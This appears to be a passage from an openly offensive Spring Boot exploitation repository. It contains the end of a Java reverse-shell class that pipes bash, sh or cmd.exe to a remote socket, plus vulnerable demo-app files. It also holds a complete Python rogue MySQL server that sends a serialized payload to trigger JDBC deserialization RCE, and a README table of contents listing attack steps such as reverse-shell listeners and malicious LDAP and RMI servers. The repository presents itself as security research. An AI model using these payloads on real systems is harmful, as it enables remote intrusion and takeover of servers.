26 | }
27 | }
28 | if (py_path != null) {
29 | if ((new File("/bin/bash")).exists()) {
30 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
31 | } else {
32 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
33 | }
34 | } else {
35 | if ((new File("/bin/bash")).exists()) {
36 | cmd = new String[]{"/bin/bash"};
37 | } else {
38 | cmd = new String[]{"/bin/sh"};
39 | }
40 | }
41 | } else {
42 | cmd = new String[]{"cmd.exe"};
43 | }
44 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
45 | Socket s = new Socket(ip, Integer.parseInt(port));
46 | InputStream pi = p.getInputStream();
47 | InputStream pe = p.getErrorStream();
48 | InputStream si = s.getInputStream();
49 | OutputStream po = p.getOutputStream();
50 | OutputStream so = s.getOutputStream();
51 | while(!s.isClosed()) {
52 | while(pi.available() > 0) {
53 | so.write(pi.read());
54 | }
55 | while(pe.available() > 0) {
56 | so.write(pe.read());
57 | }
58 | while(si.available() > 0) {
59 | po.write(si.read());
60 | }
61 | so.flush();
62 | po.flush();
63 | Thread.sleep(50L);
64 | try {
65 | p.exitValue();
66 | break;
67 | } catch (Exception e) {
68 | }
69 | }
70 | p.destroy();
71 | s.close();
72 | }catch (Throwable e){
73 | e.printStackTrace();
74 | }
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/ProductController.java:
--------------------------------------------------------------------------------
1 | package code.landgrey.controllers;
2 |
3 | import code.landgrey.commands.ProductForm;
4 | import code.landgrey.converters.ProductToProductForm;
5 | import code.landgrey.domain.Product;
6 | import code.landgrey.services.ProductService;
7 | import org.springframework.beans.factory.annotation.Autowired;
8 | import org.springframework.stereotype.Controller;
9 | import org.springframework.ui.Model;
10 | import org.springframework.validation.BindingResult;
11 | import org.springframework.web.bind.annotation.PathVariable;
12 | import org.springframework.web.bind.annotation.RequestMapping;
13 | import org.springframework.web.bind.annotation.RequestMethod;
14 |
15 | import javax.validation.Valid;
16 |
17 |
18 | @Controller
19 | public class ProductController {
20 | private ProductService productService;
21 |
22 | private ProductToProductForm productToProductForm;
23 |
24 | @Autowired
25 | public void setProductToProductForm(ProductToProductForm productToProductForm) {
26 | this.productToProductForm = productToProductForm;
27 | }
28 |
29 | @Autowired
30 | public void setProductService(ProductService productService) {
31 | this.productService = productService;
32 | }
33 |
34 | @RequestMapping({"/product/list", "/product"})
35 | public String listProducts(Model model){
36 | model.addAttribute("products", productService.listAll());
37 | return "/product/list";
38 | }
39 |
40 | @RequestMapping("/product/show/{id}")
41 | public String getProduct(@PathVariable String id, Model model){
42 | model.addAttribute("product", productService.getById(Long.valueOf(id)));
43 | return "product/show";
44 | }
45 |
46 | @RequestMapping("product/edit/{id}")
47 | public String edit(@PathVariable String id, Model model){
48 | Product product = productService.getById(Long.valueOf(id));
49 | ProductForm productForm = productToProductForm.convert(product);
50 |
51 | model.addAttribute("productForm", productForm);
52 | return "product/productform";
53 | }
54 |
55 | @RequestMapping("/product/new")
56 | public String newProduct(Model model){
57 | model.addAttribute("productForm", new ProductForm());
58 | return "product/productform";
59 | }
60 |
61 | @RequestMapping(value = "/product", method = RequestMethod.POST)
62 | public String saveOrUpdateProduct(@Valid ProductForm productForm, BindingResult bindingResult){
63 |
64 | if(bindingResult.hasErrors()){
65 | return "product/productform";
66 | }
67 |
68 | Product savedProduct = productService.saveOrUpdateProductForm(productForm);
69 |
70 | return "redirect:/product/show/" + savedProduct.getId();
71 | }
72 |
73 | @RequestMapping("/product/delete/{id}")
74 | public String delete(@PathVariable String id){
75 | productService.delete(Long.valueOf(id));
76 | return "redirect:/product/list";
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/repository/springboot-eureka-xstream-rce/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | springboot-eureka-xstream-rce
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 1.8
13 | 1.4.7.RELEASE
14 | 1.4.0.RELEASE
15 |
16 | 1.1.3.RELEASE
17 | 1.2.0.RELEASE
18 |
19 |
20 |
21 |
22 | org.springframework.boot
23 | spring-boot-starter-web
24 | ${springboot.version}
25 |
26 |
27 |
28 | org.springframework.boot
29 | spring-boot-starter-actuator
30 | ${springboot.version}
31 |
32 |
33 |
34 | org.springframework.cloud
35 | spring-cloud-starter-netflix-eureka-client
36 | ${netflix.eureka.version}
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 | org.springframework.cloud
46 | spring-cloud-commons-dependencies
47 | ${spring-cloud-commons.version}
48 | pom
49 | import
50 |
51 |
52 |
53 | org.springframework.cloud
54 | spring-cloud-netflix-dependencies
55 | ${spring-cloud-netflix.version}
56 | pom
57 | import
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | org.springframework.boot
75 | spring-boot-maven-plugin
76 | ${springboot.version}
77 |
78 |
79 |
80 |
81 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | springboot-mysql-jdbc-rce
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 1.8
13 |
14 |
15 |
16 | org.springframework.boot
17 | spring-boot-starter-parent
18 | 2.2.1.RELEASE
19 |
20 |
21 |
22 |
23 | mysql
24 | mysql-connector-java
25 | 8.0.12
26 |
27 |
28 |
29 | commons-collections
30 | commons-collections
31 | 3.2.1
32 | runtime
33 |
34 |
35 |
36 | org.springframework.boot
37 | spring-boot-starter-thymeleaf
38 |
39 |
40 |
41 | org.springframework.boot
42 | spring-boot-starter-web
43 |
44 |
45 | org.springframework.boot
46 | spring-boot-starter-test
47 | test
48 |
49 |
50 | org.springframework.cloud
51 | spring-cloud-starter-config
52 |
53 |
54 | org.springframework.boot
55 | spring-boot-starter-actuator
56 |
57 |
58 | org.springframework.cloud
59 | spring-cloud-starter
60 |
61 |
62 | org.springframework.boot
63 | spring-boot-starter-data-jpa
64 |
65 |
66 |
67 |
68 |
69 |
70 | org.springframework.cloud
71 | spring-cloud-dependencies
72 | Greenwich.SR4
73 | pom
74 | import
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 | org.springframework.boot
83 | spring-boot-maven-plugin
84 |
85 | false
86 |
87 |
88 |
89 |
90 |
91 |
--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/productform.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Spring Core Online Tutorial - Product Form
5 |
6 |
7 |
10 |
11 |
13 |
14 |
16 |
17 |
18 |
19 |
20 |
Product Details
21 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/codebase/springboot-jdbc-deserialization-rce.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf-8
3 | # -**- Author: LandGrey -**-
4 |
5 | import os
6 | import socket
7 | import binascii
8 |
9 |
10 | def server_send(conn, payload):
11 | global count
12 | count += 1
13 | print("[*] Package order: {}, Send: {}".format(count, payload))
14 | conn.send(binascii.a2b_hex(payload))
15 |
16 |
17 | def server_receive(conn):
18 | global count, BUFFER_SIZE
19 |
20 | count += 1
21 | data = conn.recv(BUFFER_SIZE)
22 | print("[*] Package order: {}, Receive: {}".format(count, data))
23 | return str(data).lower()
24 |
25 |
26 | def run_mysql_server():
27 | global count, deserialization_payload
28 |
29 | while True:
30 | count = 0
31 | conn, addr = server_socks.accept()
32 | print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
33 | greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
34 | server_send(conn, greeting)
35 | if os.path.isfile(deserialization_file):
36 | with open(deserialization_file, 'rb') as _f:
37 | deserialization_payload = binascii.b2a_hex(_f.read())
38 | while True:
39 | # client auth
40 | server_receive(conn)
41 | server_send(conn, response_ok)
42 |
43 | # client query
44 | data = server_receive(conn)
45 | if "session.auto_increment_increment" in data:
46 | _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
47 | server_send(conn, _payload)
48 | data = server_receive(conn)
49 | if "show warnings" in data:
50 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
51 | server_send(conn, _payload)
52 | data = server_receive(conn)
53 | if "set names" in data:
54 | server_send(conn, response_ok)
55 | data = server_receive(conn)
56 | if "set character_set_results" in data:
57 | server_send(conn, response_ok)
58 | data = server_receive(conn)
59 | if "show session status" in data:
60 | _data = '0100000102'
61 | _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
62 | _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
63 | _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
64 | _payload_length = _payload_hex[2:4] + _payload_hex[0:2]
65 | _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
66 | _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
67 | _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
68 | _data += '07000005fe000022000100'
69 | server_send(conn, _data)
70 | data = server_receive(conn)
71 | if "show warnings" in data:
72 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
73 | server_send(conn, _payload)
74 |
75 | break
76 | try:
77 | conn.close()
78 | except Exception as e:
79 | pass
80 |
81 |
82 | if __name__ == "__main__":
83 | HOST = "0.0.0.0"
84 | PORT = 3306
85 |
86 | deserialization_file = r'payload.ser'
87 | if os.path.isfile(deserialization_file):
88 | with open(deserialization_file, 'rb') as f:
89 | deserialization_payload = binascii.b2a_hex(f.read())
90 | else:
91 | deserialization_payload = 'aced****(your deserialized hex data)'
92 |
93 | count = 0
94 | BUFFER_SIZE = 1024
95 | response_ok = '0700000200000002000000'
96 | print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
97 | server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
98 | server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
99 | server_socks.bind((HOST, PORT))
100 | server_socks.listen(1)
101 |
102 | run_mysql_server()
103 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Spring Boot Vulnerability Exploit CheckList
2 |
3 | Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list
4 |
5 |
6 |
7 | ## 声明
8 |
9 | > **⚠️ 本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责**
10 |
11 |
12 |
13 | 目录
14 | -----------------
15 |
16 | * [Spring Boot Vulnerability Exploit CheckList](#spring-boot-vulnerability-exploit-checklist)
17 | * [零:路由和版本](#%E9%9B%B6%E8%B7%AF%E7%94%B1%E5%92%8C%E7%89%88%E6%9C%AC)
18 | * [0x01:路由知识](#0x01%E8%B7%AF%E7%94%B1%E7%9F%A5%E8%AF%86)
19 | * [0x02:版本知识](#0x02%E7%89%88%E6%9C%AC%E7%9F%A5%E8%AF%86)
20 | * [常见组件的版本相互依赖关系:](#%E5%B8%B8%E8%A7%81%E7%BB%84%E4%BB%B6%E7%9A%84%E7%89%88%E6%9C%AC%E7%9B%B8%E4%BA%92%E4%BE%9D%E8%B5%96%E5%85%B3%E7%B3%BB)
21 | * [Spring Cloud 与 Spring Boot 大版本之间的依赖关系:](#spring-cloud-%E4%B8%8E-spring-boot-%E5%A4%A7%E7%89%88%E6%9C%AC%E4%B9%8B%E9%97%B4%E7%9A%84%E4%BE%9D%E8%B5%96%E5%85%B3%E7%B3%BB)
22 | * [Spring Cloud 小版本号的后缀及含义:](#spring-cloud-%E5%B0%8F%E7%89%88%E6%9C%AC%E5%8F%B7%E7%9A%84%E5%90%8E%E7%BC%80%E5%8F%8A%E5%90%AB%E4%B9%89)
23 | * [一:信息泄露](#%E4%B8%80%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2)
24 | * [0x01:路由地址及接口调用详情泄漏](#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F)
25 | * [0x02:配置不当而暴露的路由](#0x02%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E8%80%8C%E6%9A%B4%E9%9C%B2%E7%9A%84%E8%B7%AF%E7%94%B1)
26 | * [0x03:获取被星号脱敏的密码的明文 (方法一)](#0x03%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%80)
27 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6)
28 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95)
29 | * [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D)
30 | * [步骤二: jolokia 调用相关 Mbean 获取明文](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-jolokia-%E8%B0%83%E7%94%A8%E7%9B%B8%E5%85%B3-mbean-%E8%8E%B7%E5%8F%96%E6%98%8E%E6%96%87)
31 | * [0x04:获取被星号脱敏的密码的明文 (方法二)](#0x04%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%BA%8C)
32 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-1)
33 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-1)
34 | * [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D-1)
35 | * [步骤二: 使用 nc 监听 HTTP 请求](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E4%BD%BF%E7%94%A8-nc-%E7%9B%91%E5%90%AC-http-%E8%AF%B7%E6%B1%82)
36 | * [步骤三: 设置 eureka\.client\.serviceUrl\.defaultZone 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7)
37 | * [步骤四: 刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE)
38 | * [步骤五: 解码属性值](#%E6%AD%A5%E9%AA%A4%E4%BA%94-%E8%A7%A3%E7%A0%81%E5%B1%9E%E6%80%A7%E5%80%BC)
39 | * [0x05:获取被星号脱敏的密码的明文 (方法三)](#0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89)
40 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-2)
41 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-2)
42 | * [步骤一: 找到想要获取的属性名](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D-2)
43 | * [步骤二: 使用 nc 监听 HTTP 请求](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E4%BD%BF%E7%94%A8-nc-%E7%9B%91%E5%90%AC-http-%E8%AF%B7%E6%B1%82-1)
44 | * [步骤三: 触发对外 http 请求](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E8%A7%A6%E5%8F%91%E5%AF%B9%E5%A4%96-http-%E8%AF%B7%E6%B1%82)
45 | * [步骤四: 刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE-1)
46 | * [二:远程代码执行](#%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C)
47 | * [0x01:whitelabel error page SpEL RCE](#0x01whitelabel-error-page-spel-rce)
48 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3)
49 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3)
50 | * [步骤一:找到一个正常传参处](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E6%AD%A3%E5%B8%B8%E4%BC%A0%E5%8F%82%E5%A4%84)
51 | * [步骤二:执行 SpEL 表达式](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%A7%E8%A1%8C-spel-%E8%A1%A8%E8%BE%BE%E5%BC%8F)
52 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86)
53 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90)
54 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83)
55 | * [0x02:spring cloud SnakeYAML RCE](#0x02spring-cloud-snakeyaml-rce)
56 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4)
57 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4)
58 | * [步骤一: 托管 yml 和 jar 文件](#%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%98%E7%AE%A1-yml-%E5%92%8C-jar-%E6%96%87%E4%BB%B6)
59 | * [步骤二: 设置 spring\.cloud\.bootstrap\.location 属性](#%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E8%AE%BE%E7%BD%AE-springcloudbootstraplocation-%E5%B1%9E%E6%80%A7)
60 | * [步骤三: 刷新配置](#%E6%AD%A5%E9%AA%A4%E4%B8%89-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE)
61 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-1)
62 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1)
63 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-1)
64 | * [0x03:eureka xstream deserialization RCE](#0x03eureka-xstream-deserialization-rce)
65 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5)
66 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5)
67 | * [步骤一:架设响应恶意 XStream payload 的网站](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9E%B6%E8%AE%BE%E5%93%8D%E5%BA%94%E6%81%B6%E6%84%8F-xstream-payload-%E7%9A%84%E7%BD%91%E7%AB%99)
68 | * [步骤二:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3)
69 | * [步骤三:设置 eureka\.client\.serviceUrl\.defaultZone 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7)
70 | * [步骤四:刷新配置](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE)
71 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-2)
72 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-2)
73 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-2)
74 | * [0x04:jolokia logback JNDI RCE](#0x04jolokia-logback-jndi-rce)
75 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6)
76 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6)
77 | * [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans)
78 | * [步骤二:托管 xml 文件](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%98%E7%AE%A1-xml-%E6%96%87%E4%BB%B6)
79 | * [步骤三:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81)
80 | * [步骤四:架设恶意 ldap 服务](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-ldap-%E6%9C%8D%E5%8A%A1)
81 | * [步骤五:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3)
82 | * [步骤六:从外部 URL 地址加载日志配置文件](#%E6%AD%A5%E9%AA%A4%E5%85%AD%E4%BB%8E%E5%A4%96%E9%83%A8-url-%E5%9C%B0%E5%9D%80%E5%8A%A0%E8%BD%BD%E6%97%A5%E5%BF%97%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6)
83 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-3)
84 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-3)
85 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-3)
86 | * [0x05:jolokia Realm JNDI RCE](#0x05jolokia-realm-jndi-rce)
87 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7)
88 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7)
89 | * [步骤一:查看已存在的 MBeans](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans-1)
90 | * [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81)
91 | * [步骤三:架设恶意 rmi 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rmi-%E6%9C%8D%E5%8A%A1)
92 | * [步骤四:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3)
93 | * [步骤五:发送恶意 payload](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E5%8F%91%E9%80%81%E6%81%B6%E6%84%8F-payload)
94 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-4)
95 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-4)
96 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-4)
97 | * [0x06:h2 database query RCE](#0x06h2-database-query-rce)
98 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8)
99 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8)
100 | * [步骤一:设置 spring\.datasource\.hikari\.connection\-test\-query 属性](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BE%E7%BD%AE-springdatasourcehikariconnection-test-query-%E5%B1%9E%E6%80%A7)
101 | * [步骤二:重启应用](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E9%87%8D%E5%90%AF%E5%BA%94%E7%94%A8)
102 | * [漏洞原理:](#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-5)
103 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-5)
104 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-5)
105 | * [0x07:h2 database console JNDI RCE](#0x07h2-database-console-jndi-rce)
106 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-9)
107 | * [利用方法:](#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-9)
108 | * [步骤一:访问路由获得 jsessionid](#%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BF%E9%97%AE%E8%B7%AF%E7%94%B1%E8%8E%B7%E5%BE%97-jsessionid)
109 | * [步骤二:准备要执行的 Java 代码](#%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81-1)
110 | * [步骤三:架设恶意 ldap 服务](#%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-ldap-%E6%9C%8D%E5%8A%A1)
111 | * [步骤四:监听反弹 shell 的端口](#%E6%AD%A5%E9%AA%A4%E5%9B%9B%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3-1)
112 | * [步骤五:发包触发 JNDI 注入](#%E6%AD%A5%E9%AA%A4%E4%BA%94%E5%8F%91%E5%8C%85%E8%A7%A6%E5%8F%91-jndi-%E6%B3%A8%E5%85%A5)
113 | * [漏洞分析:](#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-6)
114 | * [漏洞环境:](#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-6)
115 | * [0x08:mysql jdbc deserialization RCE](#0x08mysql-jdbc-deserialization-rce)
116 | * [利用条件:](#%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-10)
